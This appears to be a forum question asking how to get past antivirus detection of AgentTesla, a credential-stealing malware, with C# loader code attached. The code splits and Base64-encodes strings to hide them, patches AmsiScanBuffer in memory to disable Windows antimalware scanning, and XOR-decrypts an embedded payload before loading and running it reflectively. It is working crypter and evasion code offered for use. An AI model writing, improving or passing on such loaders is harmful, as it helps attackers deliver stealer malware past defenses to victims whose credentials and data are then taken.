C# How to bypass agentTesla!ml detection?

Code
using System; 

using System.Linq; 

using System.Runtime.InteropServices; 

using System.Reflection; 

using System.Text; 

using System.Security.Cryptography; 

    class Program 

    { 

public static void Execute() 

    { 

        var sp = Convert.FromBase64String("QW1zaVNj"+"YW5CdWZmZXI=");          // AmsiScanBuffer 

        string decodedSp = System.Text.Encoding.UTF8.GetString(sp); 

        var ad = Convert.FromBase64String("YW1za"+"S5kbGw=");                  // amsi.dll 

        string decodedAd = System.Text.Encoding.UTF8.GetString(ad); 

        var lib = LoadLibrary(decodedAd);                                    

        var myvar = GetProcAddress(lib, Convert.ToString(decodedSp)); 

        var p = new byte[] { 0xB8, 0xCF, 0x56, 0x3B, 0x92, 0x2D, 0x78, 0x56, 0x34, 0x12, 0xC3 }; 

        _ = VirtualProtect(myvar, (UIntPtr)p.Length, 0x3F + 0x01, out uint oldProtect); 

        Marshal.Copy(p, 0, myvar, p.Length); 

        _ = VirtualProtect(myvar, (UIntPtr)p.Length, oldProtect, out uint _); 

    } 

    [DllImport("kernel32")] 

    static extern IntPtr LoadLibrary(string name); 

    [DllImport("kernel32")] 

    static extern IntPtr GetProcAddress( IntPtr hModule, string procName); 

    [DllImport("kernel32")] 

    static extern bool VirtualProtect(IntPtr lpAddress,UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 

 

        static void Main() 

        { 

byte[] bytecode = DecryptBytecode(); 

RunPE((Assembly)typeof(Assembly).InvokeMember("Load", BindingFlags.InvokeMethod | BindingFlags.Public | BindingFlags.Static 

, null, null, new object[] { bytecode })); 

        } 

 

 

public static byte[] booyyaaah(){ return WYCFvFhiohHW.m1().ToArray() ; 

} 

 

public static byte[] DecryptBytecode() 

        { 

byte[] dfgdfgdgdfgdfg = booyyaaah().ToArray(); 

string encryptionKey = "wwwesU"; 

byte[] bytecode = Enumerable.Range(0, dfgdfgdgdfgdfg.Length) 

    .Select(i => (byte)(dfgdfgdgdfgdfg[i] ^ encryptionKey[i % encryptionKey.Length])) 

    .ToArray(); 

Execute(); 

return bytecode; 

        } 

        static void RunPE(Assembly result) 

        { 

MethodInfo entryPoint = (MethodInfo)result.GetType().GetProperty("EntryPoint").GetValue(result); 

entryPoint.Invoke(null, null); 

}} 

 

public static class WYCFvFhiohHW{ 

public static byte[] m1(){ 

 byte[] var1 = {58,45,231, 115};  

 return var1; 

} 

}